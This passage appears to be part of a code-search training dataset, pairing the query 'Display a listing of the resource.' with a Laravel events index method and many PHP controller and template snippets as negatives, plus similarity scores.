\t\t}\n\t\t \t}\n\t\t }\n\t\t echo '</ul>';\n\t\t closedir($handle); //Close dir\n\t\t}\n\t}", "public function newList()\n\t{\n\t\treturn view('newList');\n\t}", "public function create(): Renderable\n {\n return view('links.create');\n }", "public function CreateTemplatesHTMLList($pageno,$numrows) {\r\n\t\t$html = \"\";\r\n\t\tif ($this->user->uadmin == '1') {\r\n\t\t\t$html .= \"<p><a href=\\\"{$this->BaseURL}template\\\">Create new template</a></p>\";\r\n\t\t} else {\r\n\t\t\t$html .= \"<p>Please login as administrator in order to view this page.</p>\";\r\n \treturn $html;\r\n\t\t}\r\n\r\n\t\t$sql = \"select count(*) from templates\";\r\n\t\t$result = $this->dbconn->query($sql);\r\n\t\t$row = $result->fetch_row();\r\n\t\t$totalmatches = $row[0];\r\n\t\t$result->close();\r\n\t\tif ($totalmatches == 0) {\r\n\t\t\t$html .= \"<p>There are no templates.</p>\";\r\n\t\t\treturn $html;\r\n\t\t}\r\n\r\n\t\t$lastpage = ceil($totalmatches/$numrows);\r\n\t\t\r\n\t\t$pageno = (int)$pageno;\r\n\t\tif ($pageno > $lastpage) {\r\n\t\t\t$pageno = $lastpage;\r\n\t\t} elseif ($pageno < 1) {\r\n\t\t\t$pageno = 1;\r\n\t\t}\r\n\t\t\r\n\t\t$limit = \"limit \" . ($pageno - 1) * $numrows . \",$numrows\";\r\n\t\t\r\n\t\t$sql = \"select t_id, t_name from templates order by t_name $limit\";\r\n\t\t$result = $this->dbconn->query($sql);\r\n\t\t\r\n\t\t$html .= \"<table class=\\\"table table-striped table-bordered\\\"><thead><tr><th>Name of template</th></tr></thead><tbody>\";\r\n\t\t\r\n\t\twhile($row = $result->fetch_array()) {\r\n\t\t\t$tid = $row[\"t_id\"];\r\n\t\t\t$tname = $row[\"t_name\"];\r\n\t\t\t$html .= \"<tr><td><a href=\\\"{$this->BaseURL}template/{$tid}\\\">$tname</a></td></tr>\";\r\n\t\t}\r\n\r\n\t\t$html .= \"</tbody></table>\";\r\n\t\t\r\n\t\t$result->close();\r\n\t\t\r\n\t\t$html .= \"<p>Page $pageno of $lastpage - $totalmatches records found</p>\";\r\n\r\n\t\t// add in navigation to browse large results lists.\r\n\t\t$html .= \"<ul class=\\\"pager\\\">\";\r\n\t\tif ($pageno == 1) {\r\n\t\t $html .= \"<li class=\\\"previous disabled\\\"><a href=\\\"#\\\">First</li>\";\r\n\t\t $html .= \"<li class=\\\"previous disabled\\\"><a href=\\\"#\\\">Previous</li>\";\r\n\t\t} else {\r\n\t\t $prevpage = $pageno - 1;\r\n\t\t $html .= \"<li class=\\\"previous\\\"><a href=\\\"{$this->BaseURL}templates/1\\\">First</a></li>\";\r\n\t\t $html .= \"<li class=\\\"previous\\\"><a href=\\\"{$this->BaseURL}templates/{$prevpage}\\\">Previous</a></li>\";\r\n\t\t}\r\n\t\tif ($pageno == $lastpage) {\r\n\t\t $html .= \"<li class=\\\"next disabled\\\"><a href=\\\"#\\\">Last</li>\";\r\n\t\t $html .= \"<li class=\\\"next disabled\\\"><a href=\\\"#\\\">Next</li>\";\r\n\t\t} else {\r\n\t\t $nextpage = $pageno + 1;\r\n\t\t $html .= \"<li class=\\\"next\\\"><a href=\\\"{$this->BaseURL}templates/{$lastpage}\\\">Last</a></li>\";\r\n\t\t $html .= \"<li class=\\\"next\\\"><a href=\\\"{$this->BaseURL}templates/{$nextpage}\\\">Next</a></li>\";\r\n\t\t}\r\n\t\t$html .= \"</ul>\";\r\n\r\n\t\treturn $html;\r\n\t}", "public function generate()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$objTemplate = new \\BackendTemplate('be_wildcard');\n\n\t\t\t$objTemplate->wildcard = '### MOBILE CUSTOMER LIST ###';\n\t\t\t$objTemplate->title = $this->headline;\n\t\t\t$objTemplate->id = $this->id;\n\t\t\t$objTemplate->link = $this->name;\n\t\t\t$objTemplate->href = 'contao/main.php?do=themes&amp;table=tl_module&amp;act=edit&amp;id=' . $this->id;\n\n\t\t\treturn $objTemplate->parse();\n\t\t}\n\n\t\treturn parent::generate();\n\t}", "function displayLink($hookName, $params) {\n\t\tif ($this->getEnabled()) {\n\t\t\t$smarty =& $params[1];\n\t\t\t$output =& $params[2];\n\t\t\t$journal =& Request::getJournal();\n\t\t\t$templateMgr = TemplateManager::getManager();\n\t\t\tif ($hookName == 'Templates::Editor::Index::AdditionalItems') { // On editor's home page\n\t\t\t\t$output .= '<h3>' . __('plugins.generic.objectsForReview.editor.objectsForReview') . '</h3>\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><a href=\"' . Request::url(null, 'editor', 'reviewObjectTypes') . '\">' . __('plugins.generic.objectsForReview.editor.objectTypes') . '</a></li>\n\t\t\t\t\t\t\t<li><a href=\"' . Request::url(null, 'editor', 'objectsForReview', 'all') . '\">' . __('plugins.generic.objectsForReview.editor.objectsForReview') . '</a></li>\n\t\t\t\t\t\t\t</ul>';\n\t\t\t} elseif ($hookName == 'Templates::Author::Index::AdditionalItems') { // On author's home page\n\t\t\t\t$output .= '<br /><div class=\"separator\"></div><h3>' . __('plugins.generic.objectsForReview.author.objectsForReview') . '</h3><ul><li><a href=\"' . Request::url(null, 'author', 'objectsForReview', 'all') . '\">' . __('plugins.generic.objectsForReview.author.myObjectsForReview') . '</a></li></ul><br />';\n\t\t\t} elseif ($hookName == 'Templates::Common::Header::Navbar::CurrentJournal' && $this->getSetting($journal->getId(), 'displayListing')) { // In the main nav bar\n\t\t\t\t$output .= '<li><a href=\"' . Request::url(null, 'objectsForReview') . '\" target=\"_parent\">' . __('plugins.generic.objectsForReview.public.headerLink') . '</a></li>';\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "function lendingform_listing($op) {\r\n $output = '';\r\n \r\n // No access for subdomain\r\n if (lendingform_siemens_is_subdomain()) {\r\n return drupal_not_found();\r\n }\r\n \r\n // Default: List of lendingforms\r\n if (empty($op)) {\r\n $op = 'list';\r\n // Link to add new lendingform\r\n if (!lendingform_siemens_is_subdomain()) {\r\n $output .= '<ul class=\"action-links\"><li>';\r\n $output .= l(t('Create New Project'), 'lendingforms/create');\r\n $output .= '</li></ul>';\r\n }\r\n // Project List block\r\n $block = block_load('views', 'lendingforms-block');\r\n $block = _block_get_renderable_array(_block_render_blocks(array($block)));\r\n $output .= drupal_render($block);\r\n }\r\n else {\r\n // check what to do\r\n switch ($op) {\r\n case 'create' :\r\n drupal_set_title(t('Create Project'));\r\n $output = drupal_get_form('lendingform_form');\r\n break;\r\n }\r\n }\r\n\r\n return $output;\r\n}", "public function listing() \r\n\t{\r\n\t\t$data['header']['title'] = 'Country listing';\r\n\t\t$data['footer']['scripts']['homescript.js'] = 'home';\r\n\t\t$data['view_name'] = 'country/country_listing_view';\r\n\t\t$data['view_data'] = $this->country->get();\r\n\t\t$this->load->view('country/page_view', $data);\r\n\t}", "function lb_show_make_page() {\n\tlb_show_templates(\n\t\tarray(\n\t\t\t'name' => 'make_page',\n\t\t\t'pages' => lb_get_all_pages_from_pages(),\n\t\t)\n\t);\n}", "public function asLink()\n {\n $label = $this->title ?: $this->value;\n return '<a href=\"' . $this->href .'\" title=\"' . $label . '\">' . $label . '</a>';\n }", "function training_theme_html() {\n $array_items = array(\n l(t('List'), 'training/theme/list'),\n l(t('Table'), 'training/theme/table'),\n l(t('Image'), 'training/theme/image'),\n l(t('Access'), 'training/theme/access'),\n );\n\n return theme('item_list', array(\n 'items' => $array_items,\n 'type' => 'ol',\n 'title' => t('Links to themes'),\n ));\n}", "function link_to_item($text = null, $props = array(), $action = 'show', $item = null)\n{\n if (!$item) {\n $item = get_current_record('item');\n }\n if (empty($text)) {\n $text = metadata($item, 'display_title');\n }\n return link_to($item, $action, $text, $props);\n}", "public function create()\n {\n\n return view('admin.friendlinks.add',['title'=>'友情链接的添加页面']);\n }", "public function addPage() {\n $item = menu_get_item();\n $content = system_admin_menu_block($item);\n\n if (count($content) == 1) {\n $item = array_shift($content);\n drupal_goto($item['href']);\n }\n\n return theme('thumbwhere_contentcollection_add_list', array('content' => $content));\n }", "public function getTitleWithLink()\n {\n $id = $this->id;\n $url = route('demopost.manager', ['id' => $id]);\n return \"<a href='$url' target='_blank'>$this->title</a>\";\n }", "public function travelListing() {\n\t\t$pageTitle = 'Travel Listing';\n\t\t$this->viewBuilder()->setLayout('homelayout');\n\t\t$this->loadModel('Travels');\n\n\t\t$travels = $this->Travels->find()->where(['Travels.published' => 1])->order(['Travels.created' => 'DESC'])->limit(3)->all();\n\n\t\t$this->set(compact('pageTitle', 'travels'));\n\t}", "public function _construct()\n {\n parent::_construct();\n $this->setTemplate('displaze/mybrand/manufacturer/link.phtml');\n }", "public function create()\n {\n // Not needed cause this is coming from the item listing\n }", "public function links() {\n\t\t?>\n\t\t<ul>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/15uoww1\" target=\"_blank\"><?php echo __( 'Installation manual', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/W9GDQT\" target=\"_blank\"><?php echo __( 'Frequently Asked Questions', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/WW93Sk\" target=\"_blank\"><?php echo __( 'Report a bug', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/11UE2lF\" target=\"_blank\"><?php echo __( 'Request a function', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/XkivOW\" target=\"_blank\"><?php echo __( 'Submit a translation', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t\t<li>\n\t\t\t\t<a href=\"http://bit.ly/UlDG4t\" target=\"_blank\"><?php echo __( 'More cool stuff by WPBuddy', $this->_google_drive_cdn->get_textdomain() ); ?></a>\n\t\t\t</li>\n\t\t</ul>\n\t<?php\n\t}", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function getListTpl(){\n return $this->templates['list'];\n }", "public function generate()\r\n {\r\n if (TL_MODE == 'BE')\r\n {\r\n $objTemplate = new \\BackendTemplate('be_wildcard');\r\n \r\n $objTemplate->wildcard = '### ' . utf8_strtoupper($GLOBALS['TL_LANG']['FMD']['bericht_list'][0]) . ' ###';\r\n $objTemplate->title = $this->headline;\r\n $objTemplate->id = $this->id;\r\n $objTemplate->link = $this->name;\r\n $objTemplate->href = 'contao/main.php?do=themes&table=tl_module&act=edit&id=' . $this->id;\r\n \r\n return $objTemplate->parse();\r\n }\r\n \r\n return parent::generate();\r\n }" ]
[ "0.6403879", "0.6263149", "0.6198326", "0.60856295", "0.60012376", "0.5999745", "0.59993917", "0.59458536", "0.5920606", "0.58805877", "0.5871899", "0.5864972", "0.5860529", "0.58593404", "0.583", "0.5815686", "0.5815256", "0.58023214", "0.5767034", "0.57533973", "0.5752371", "0.5750615", "0.5750615", "0.57464814", "0.5717816", "0.5707553", "0.5706599", "0.5700482", "0.5697046", "0.56940585", "0.5685011", "0.56832474", "0.5681906", "0.56795365", "0.56596816", "0.56522095", "0.5651753", "0.5634508", "0.5630808", "0.56280756", "0.56223285", "0.56105334", "0.56015736", "0.55894214", "0.558868", "0.5587967", "0.5580087", "0.55769926", "0.5573701", "0.55657774", "0.55654794", "0.55630094", "0.55600905", "0.5557591", "0.5551145", "0.5550041", "0.55485356", "0.5538999", "0.5534086", "0.55304766", "0.55291283", "0.5520849", "0.5519367", "0.54913646", "0.5490562", "0.5488448", "0.5481021", "0.5480473", "0.5477198", "0.54758114", "0.5472069", "0.5462939", "0.54529625", "0.5444348", "0.5444218", "0.5440109", "0.5437822", "0.5433761", "0.5433597", "0.5427255", "0.54236305", "0.542027", "0.5419775", "0.5417263", "0.5411187", "0.54067284", "0.5403303", "0.5397615", "0.53966206", "0.5396233", "0.5394561", "0.5382811", "0.5381983", "0.5379889", "0.53668123", "0.5365749", "0.5363504", "0.53623694", "0.5359459", "0.53584754", "0.535628" ]
0.0
-1
Display a listing of the resource.
public function index() { $events = $this->events->paginate(10); $no = $events->getFrom(); return $this->view('events.index', compact('events', 'no')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = 